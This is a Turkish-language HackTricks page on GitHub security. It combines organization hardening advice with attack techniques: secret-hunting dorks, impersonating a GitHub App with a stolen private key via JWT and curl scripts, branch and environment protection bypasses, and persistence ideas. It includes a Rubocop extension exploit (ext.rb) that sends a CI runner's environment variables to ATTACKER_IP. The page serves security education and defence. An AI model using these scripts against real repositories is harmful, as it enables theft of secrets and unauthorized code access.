Github Güvenliği
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Github Nedir
(From here) Yüksek seviyede, GitHub, geliştiricilerin kodlarını depolamalarına ve yönetmelerine, ayrıca kodlarındaki değişiklikleri takip etmelerine ve kontrol etmelerine yardımcı olan bir web sitesi ve bulut tabanlı hizmettir.
Temel Bilgiler
Harici Keşif
Github depoları kamuya açık, özel ve dahili olarak yapılandırılabilir.
- Özel demek, sadece kuruluş üyelerinin erişebileceği anlamına gelir.
- Dahili demek, sadece şirket (bir şirketin birden fazla kuruluşu olabilir) üyelerinin erişebileceği anlamına gelir.
- Kamuya açık demek, tüm internet erişebilecek demektir.
Eğer hedef almak istediğiniz kullanıcı, depo veya kuruluşu biliyorsanız, her depoda hassas bilgileri bulmak veya hassas bilgi sızıntılarını aramak için github dorks kullanabilirsiniz.
Github Dorks
Github, bir kullanıcı, bir depo veya bir kuruluş belirterek bir şey aramanıza olanak tanır. Bu nedenle, hassas bilgilere yakın görünecek bir dizi dize ile hedefinizde potansiyel hassas bilgileri kolayca arayabilirsiniz.
Araçlar (her araç kendi dork listesine sahiptir):
- https://github.com/obheda12/GitDorker (Dorks list)
- https://github.com/techgaun/github-dorks (Dorks list)
- https://github.com/hisxo/gitGraber (Dorks list)
Github Sızıntıları
Lütfen, github dorklarının sızıntıları aramak için de kullanıldığını unutmayın. Bu bölüm, her depoyu indirip içlerinde hassas bilgileri arayan araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil).
Araçlar (her araç kendi regex listesine sahiptir):
Bu sayfayı kontrol edin: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html
Warning
Bir depoda sızıntı ararken ve
git log -pgibi bir şey çalıştırırken, diğer commit’leri içeren diğer dallar olabileceğini unutmayın!
Harici Forklar
Pull request’leri kötüye kullanarak depoları tehlikeye atmak mümkündür. Bir deponun savunmasız olup olmadığını bilmek için çoğunlukla Github Actions yaml yapılandırmalarını okumanız gerekir. Aşağıda bununla ilgili daha fazla bilgi.
Silinmiş/Dahili Forklarda Github Sızıntıları
Silinmiş veya dahili olsa bile, github depolarının forklarından hassas veriler elde etmek mümkün olabilir. Bunu burada kontrol edin:
Accessible Deleted Data in Github
Kuruluş Güçlendirme
Üye Ayrıcalıkları
Kuruluşun üyelerine atanabilecek bazı varsayılan ayrıcalıklar vardır. Bunlar https://github.com/organizations/<org_name>/settings/member_privileges sayfasından veya Organizations API üzerinden kontrol edilebilir.
- Temel izinler: Üyeler, kuruluş depoları üzerinde None/Read/write/Admin iznine sahip olacaktır. Tavsiye edilen None veya Read’dir.
- Depo fork’lama: Gerekli değilse, üyelerin kuruluş depolarını fork’lamalarına izin vermemek daha iyidir.
- Sayfa oluşturma: Gerekli değilse, üyelerin kuruluş depolarından sayfa yayınlamalarına izin vermemek daha iyidir. Gerekliyse, kamuya açık veya özel sayfalar oluşturmasına izin verebilirsiniz.
- Entegrasyon erişim talepleri: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir.
- Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın
- Depo görünürlüğü değişikliği: Etkinleştirildiğinde, depo için admin izinlerine sahip üyeler, görünürlüğünü değiştirme yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri kamuya açık yapmasını istemiyorsanız, bunun devre dışı olduğundan emin olun.
- Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın
- Depo silme ve transfer: Etkinleştirildiğinde, depo için admin izinlerine sahip üyeler, kamuya açık ve özel depoları silme veya transfer etme yetkisine sahip olacaktır.
- Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın
- Üyelerin ekip oluşturmasına izin verme: Etkinleştirildiğinde, kuruluşun herhangi bir üyesi yeni takımlar oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni takımlar oluşturabilir. Bunun devre dışı bırakılması daha iyidir.
- Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın
- Bu sayfada daha fazla şey yapılandırılabilir, ancak önceki olanlar daha güvenlikle ilgili olanlardır.
Eylem Ayarları
Eylemler için birkaç güvenlikle ilgili ayar, https://github.com/organizations/<org_name>/settings/actions sayfasından yapılandırılabilir.
Note
Tüm bu yapılandırmaların her depoda bağımsız olarak da ayarlanabileceğini unutmayın.
- Github eylem politikaları: Hangi depoların iş akışlarını çalıştırabileceğini ve hangi iş akışlarının izin verileceğini belirtmenize olanak tanır. Hangi depoların izin verileceğini belirtmek ve tüm eylemlerin çalıştırılmasına izin vermemek tavsiye edilir.
- API-1, API-2
- Dış işbirlikçilerden fork pull request iş akışları: Tüm dış işbirlikçileri için onay gerektirmesi tavsiye edilir.
- Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın
- Fork pull request’lerden iş akışlarını çalıştırma: Pull request’lerden iş akışlarını çalıştırmak kesinlikle tavsiye edilmez, çünkü fork kaynağının bakımcıları, kaynak deposunda okuma izinlerine sahip token’ları kullanma yetkisi alacaktır.
- Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın
- İş akışı izinleri: Sadece okuma deposu izinleri vermek kesinlikle tavsiye edilir. GITHUB_TOKEN’ın kötüye kullanılmasını önlemek için yazma ve pull request’leri oluşturma/onaylama izinleri vermek tavsiye edilmez.
- API
Entegrasyonlar
Bu bilgiyi erişmek için API uç noktasını biliyorsanız bana bildirin!
- Üçüncü taraf uygulama erişim politikası: Her uygulamanın erişimini kısıtlamak ve yalnızca gerekli olanlara izin vermek tavsiye edilir (gözden geçirdikten sonra).
- Yüklenmiş GitHub Uygulamaları: Yalnızca gerekli olanların (gözden geçirdikten sonra) izin verilmesi tavsiye edilir.
Kimlik Bilgilerini Kötüye Kullanarak Keşif ve Saldırılar
Bu senaryo için, bir github hesabına erişim sağladığınızı varsayacağız.
Kullanıcı Kimlik Bilgileri ile
Eğer bir şekilde bir kuruluş içindeki bir kullanıcı için kimlik bilgilerine sahipseniz, giriş yapabilir ve hangi şirket ve kuruluş rollerine sahip olduğunuzu kontrol edebilirsiniz, eğer sıradan bir üyeseniz, sıradan üyelerin hangi izinlere sahip olduğunu, hangi gruplarda olduğunuzu, hangi izinlere sahip olduğunuzu ve depoların nasıl korunduğunu kontrol edebilirsiniz.
2FA’nın kullanılabileceğini unutmayın, bu nedenle bu bilgilere yalnızca o kontrolü geçebiliyorsanız erişebilirsiniz.
Note
Eğer
user_sessionçerezini çalmayı başarırsanız (şu anda SameSite: Lax ile yapılandırılmıştır), kimlik bilgilerine veya 2FA’ya ihtiyaç duymadan kullanıcıyı tamamen taklit edebilirsiniz.
Aşağıdaki dal koruma atlamaları bölümünü kontrol edin, faydalı olursa.
Kullanıcı SSH Anahtarı ile
Github, kullanıcıların kendi adlarına kod dağıtmak için kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları ayarlamalarına olanak tanır (2FA uygulanmaz).
Bu anahtar ile, kullanıcının bazı ayrıcalıklara sahip olduğu depolar üzerinde değişiklikler yapabilirsiniz, ancak bunu github api’sine erişmek için kullanamazsınız. Ancak, erişiminiz olan depolar ve kullanıcı hakkında bilgi almak için yerel ayarları listeleyebilirsiniz:
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
Eğer kullanıcı adını GitHub kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı açık anahtarları https://github.com/<github_username>.keys adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz.
SSH anahtarları ayrıca dağıtım anahtarları olarak depolarda da ayarlanabilir. Bu anahtara erişimi olan herkes, bir depodan projeleri başlatma yeteneğine sahip olacaktır. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya ~/.ssh/config hangi anahtarın ilgili olduğu hakkında bilgi verecektir.
GPG Anahtarları
Açıklandığı gibi burada bazen taahhütleri imzalamak gerekebilir yoksa keşfedilebilirsiniz.
Mevcut kullanıcının herhangi bir anahtara sahip olup olmadığını yerel olarak kontrol edin:
gpg --list-secret-keys --keyid-format=long
Kullanıcı Tokeni ile
Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin için bir giriş.
Bir kullanıcı tokeni, HTTPS üzerinden Git için şifre yerine kullanılabilir veya API’ye Temel Kimlik Doğrulaması ile kimlik doğrulamak için kullanılabilir. Ekli olan ayrıcalıklara bağlı olarak farklı eylemler gerçekleştirebilirsiniz.
Bir Kullanıcı tokeni şöyle görünür: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123
Oauth Uygulaması ile
Github Oauth Uygulamaları hakkında temel bilgileri kontrol edin için bir giriş.
Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için kötü niyetli bir Oauth Uygulaması oluşturabilir.
Bir Oauth uygulamasının talep edebileceği kapsamlar şunlardır. Her zaman kabul etmeden önce talep edilen kapsamları kontrol etmelisiniz.
Ayrıca, temel bilgilerin açıklandığı gibi, kuruluşlar üçüncü taraf uygulamalara kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
Github Uygulaması ile
Github Uygulamaları hakkında temel bilgileri kontrol edin için bir giriş.
Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için kötü niyetli bir Github Uygulaması oluşturabilir.
Ayrıca, temel bilgilerin açıklandığı gibi, kuruluşlar üçüncü taraf uygulamalara kuruluşla ilgili bilgilere/repos/eylemlere erişim verebilir veya reddedebilir.
Bir GitHub Uygulamasını özel anahtarı ile taklit etme (JWT → kurulum erişim tokenleri)
Bir GitHub Uygulamasının özel anahtarını (PEM) elde ederseniz, uygulamayı tüm kurulumları boyunca tamamen taklit edebilirsiniz:
- Özel anahtarla imzalanmış kısa ömürlü bir JWT oluşturun
- Kurulumları listelemek için GitHub Uygulaması REST API’sini çağırın
- Her kurulum için erişim tokenleri oluşturun ve bunları o kuruluşa verilen depoları listelemek/kopyalamak/push yapmak için kullanın
Gereksinimler:
- GitHub Uygulaması özel anahtarı (PEM)
- GitHub Uygulaması ID’si (sayısal). GitHub, iss’nin Uygulama ID’si olmasını gerektirir
JWT oluşturun (RS256):
#!/usr/bin/env python3
import time, jwt
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60, # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")
Kimlik doğrulaması yapılmış uygulama için kurulumları listele:
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations
Bir kurulum erişim belirteci oluşturun (geçerlilik süresi ≤ 10 dakika):
INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
Token’i kullanarak koda erişin. x‑access‑token URL biçimini kullanarak klonlayabilir veya itebilirsiniz:
TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository
Belirli bir organizasyonu hedeflemek ve özel repoları listelemek için Programatik PoC (PyGithub + PyJWT):
#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration
with open("priv.pem", "r") as f:
signing_key = f.read()
APP_ID = "123456" # GitHub App ID (numeric)
ORG = "someorg"
def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")
auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")
jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]
print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)
Notlar:
- Kurulum tokenleri tam olarak uygulamanın depo düzeyi izinlerini miras alır (örneğin, içerikler: yazma, pull_requests: yazma)
- Tokenler ≤10 dakikada süresi doluyor, ancak özel anahtarı koruduğunuz sürece yeni tokenler sonsuz bir şekilde oluşturulabilir
- Ayrıca, JWT kullanarak REST API (GET /app/installations) aracılığıyla kurulumları listeleyebilirsiniz
Kompromi & Kötüye Kullanım Github Action
Bir Github Action’ı ele geçirmek ve kötüye kullanmak için birkaç teknik vardır, buradan kontrol edebilirsiniz:
Harici araçlar çalıştıran üçüncü taraf GitHub Uygulamalarını Kötüye Kullanma (Rubocop uzantısı RCE)
Bazı GitHub Uygulamaları ve PR inceleme hizmetleri, depo kontrolündeki yapılandırma dosyalarını kullanarak pull request’ler üzerinde harici linters/SAST çalıştırır. Desteklenen bir araç dinamik kod yüklemeye izin veriyorsa, bir PR hizmetin çalıştırıcısında RCE elde edebilir.
Örnek: Rubocop, YAML yapılandırmasından uzantıları yüklemeyi destekler. Hizmet, bir depo tarafından sağlanan .rubocop.yml dosyasını geçirirse, yerel bir dosyayı gerektirerek rastgele Ruby kodu çalıştırabilirsiniz.
- Tetikleme koşulları genellikle şunları içerir:
- Araç hizmette etkinleştirilmiştir
- PR, aracın tanıdığı dosyaları içerir (Rubocop için: .rb)
- Repo, aracın yapılandırma dosyasını içerir (Rubocop, .rubocop.yml dosyasını her yerde arar)
PR’deki istismar dosyaları:
.rubocop.yml
require:
- ./ext.rb
ext.rb (çalıştırıcı ortam değişkenlerini dışa aktarma):
require 'net/http'
require 'uri'
require 'json'
env_vars = ENV.to_h
json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end
Ayrıca, linter’ın gerçekten çalışması için yeterince büyük bir sahte Ruby dosyası (örneğin, main.rb) ekleyin.
Gerçek hayatta gözlemlenen etki:
- Linter’ı çalıştıran üretim koşucusunda tam kod yürütme
- Hizmet tarafından kullanılan GitHub Uygulaması özel anahtarı, API anahtarları, DB kimlik bilgileri vb. dahil olmak üzere hassas ortam değişkenlerinin dışa aktarılması
- Sızdırılmış bir GitHub Uygulaması özel anahtarı ile kurulum jetonları oluşturabilir ve o uygulamaya verilen tüm depolara okuma/yazma erişimi alabilirsiniz (GitHub Uygulaması taklitine ilişkin yukarıdaki bölüme bakın)
Dış araçlar çalıştıran hizmetler için güçlendirme yönergeleri:
- Depo tarafından sağlanan araç yapılandırmalarını güvensiz kod olarak değerlendirin
- Araçları hassas ortam değişkenlerinin monte edilmediği sıkı bir şekilde izole edilmiş kum havuzlarında çalıştırın
- En az ayrıcalık ilkelerini ve dosya sistemi izolasyonunu uygulayın ve internet erişimi gerektirmeyen araçlar için dışa ağ çıkışını kısıtlayın/reddedin
Dal Koruma Atlatma
- Bir dizi onay gerektir: Birkaç hesabı ele geçirdiyseniz, PR’lerinizi diğer hesaplardan kabul edebilirsiniz. PR’yi oluşturduğunuz hesaba sahipseniz, kendi PR’nizi kabul edemezsiniz. Ancak, depoda bir Github Action ortamına erişiminiz varsa, GITHUB_TOKEN kullanarak PR’nizi onaylayabilirsiniz ve bu şekilde 1 onay alabilirsiniz.
- Bu ve Kod Sahipleri kısıtlaması için not: genellikle bir kullanıcı kendi PR’lerini onaylayamaz, ancak eğer onaylayabiliyorsanız, bunu PR’lerinizi kabul etmek için kötüye kullanabilirsiniz.
- Yeni taahhütler gönderildiğinde onayları iptal et: Bu ayar yapılmadıysa, geçerli kod gönderebilir, birinin onaylamasını bekleyebilir ve kötü niyetli kod ekleyip korunan dal ile birleştirebilirsiniz.
- Kod Sahiplerinden inceleme gerektir: Bu etkinleştirildiğinde ve bir Kod Sahibiyseniz, Github Action’ın PR’nizi oluşturmasını ve ardından kendiniz onaylamasını sağlayabilirsiniz.
- CODEOWNER dosyası yanlış yapılandırıldığında Github şikayet etmez ama kullanmaz. Bu nedenle, yanlış yapılandırıldığında Kod Sahipleri koruması uygulanmaz.
- Belirtilen aktörlerin çekme isteği gereksinimlerini atlamasına izin ver: Eğer bu aktörlerden biriyseniz, çekme isteği korumalarını atlayabilirsiniz.
- Yönetici ekle: Bu ayar yapılmadıysa ve depo yöneticisiyseniz, bu dal korumalarını atlayabilirsiniz.
- PR Kaçırma: Başka birinin PR’sini kötü niyetli kod ekleyerek değiştirme, sonuçta oluşan PR’yi kendiniz onaylama ve her şeyi birleştirme yeteneğine sahip olabilirsiniz.
- Dal Koruma Kaldırma: Eğer depo yöneticisiyseniz, korumaları devre dışı bırakabilir, PR’nizi birleştirebilir ve korumaları geri ayarlayabilirsiniz.
- İtme korumalarını atlama: Eğer bir depo sadece belirli kullanıcıların dallarda itme (kod birleştirme) yapmasına izin veriyorsa (dal koruması tüm dalları koruyor olabilir ve joker karakter
*kullanıyor olabilir). - Eğer depoda yazma erişiminiz varsa ama dal koruması nedeniyle kod itmenize izin verilmiyorsa, yine de yeni bir dal oluşturabilir ve içinde kod itildiğinde tetiklenen bir github action oluşturabilirsiniz. Dal koruması dal oluşturulana kadar dalı korumayacak, bu nedenle bu dalda ilk kod itişi github action’ı çalıştıracaktır.
Ortam Koruma Atlatma
Github Ortamı hakkında temel bilgileri kontrol edin için bir giriş.
Bir ortam tüm dallardan erişilebiliyorsa, korunmuyor ve ortam içindeki sırları kolayca erişebilirsiniz. Tüm dalların korunduğu (isimlerini belirterek veya * kullanarak) depolar bulabileceğinizi unutmayın; bu senaryoda, kod itebileceğiniz bir dal bulun ve yeni bir github action oluşturarak sırları dışa aktarabilirsiniz (veya birini değiştirebilirsiniz).
Tüm dalların korunduğu (joker karakter * ile) ve dallara kimin kod itebileceğinin belirtildiği bir kenar durumu bulabileceğinizi unutmayın (bunu dal korumasında belirtebilirsiniz) ve kullanıcınıza izin verilmez. Yine de özel bir github action çalıştırabilirsiniz çünkü bir dal oluşturabilir ve kendisi üzerinde itme tetikleyicisini kullanabilirsiniz. Dal koruması yeni bir dalda itmeye izin verir, bu nedenle github action tetiklenecektir.
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
Not edin ki dal oluşturulduktan sonra dal koruması yeni dala uygulanacak ve onu değiştiremeyeceksiniz, ancak o zamana kadar sırları zaten ele geçirmiş olacaksınız.
Süreklilik
- Kullanıcı token’ı oluşturun
- Sırların içinden github token’larını çalın
- İş akışı sonuçlarının ve dalların silinmesi
- Tüm org’a daha fazla izin verin
- Bilgileri dışarı aktarmak için webhook’lar oluşturun
- Dış işbirlikçileri davet edin
- SIEM tarafından kullanılan webhook’ları kaldırın
- Arka kapı ile Github Action oluşturun/değiştirin
- Sır değeri değişikliği yoluyla komut enjeksiyonu için savunmasız Github Action bulun
Sahte Taahhütler - Repo taahhütleri aracılığıyla arka kapı
Github’da bir fork’tan bir repo için PR oluşturmak mümkündür. PR kabul edilse bile, orijinal repoda bir taahhüt kimliği, kodun fork versiyonu için oluşturulacaktır. Bu nedenle, bir saldırgan görünüşte meşru bir repodan, repo sahibinin oluşturmadığı belirli bir taahhütü kullanmak için sabitleyebilir.
bu gibi:
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
Daha fazla bilgi için https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd adresini kontrol edin.
Referanslar
- CodeRabbit’i nasıl istismar ettik: basit bir PR’dan RCE ve 1M depoda yazma erişimine
- Rubocop uzantıları (gerekli)
- GitHub Uygulaması ile Kimlik Doğrulama (JWT)
- Kimlik doğrulama yapılmış uygulama için kurulumları listele
- Bir uygulama için bir kurulum erişim belirteci oluştur
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

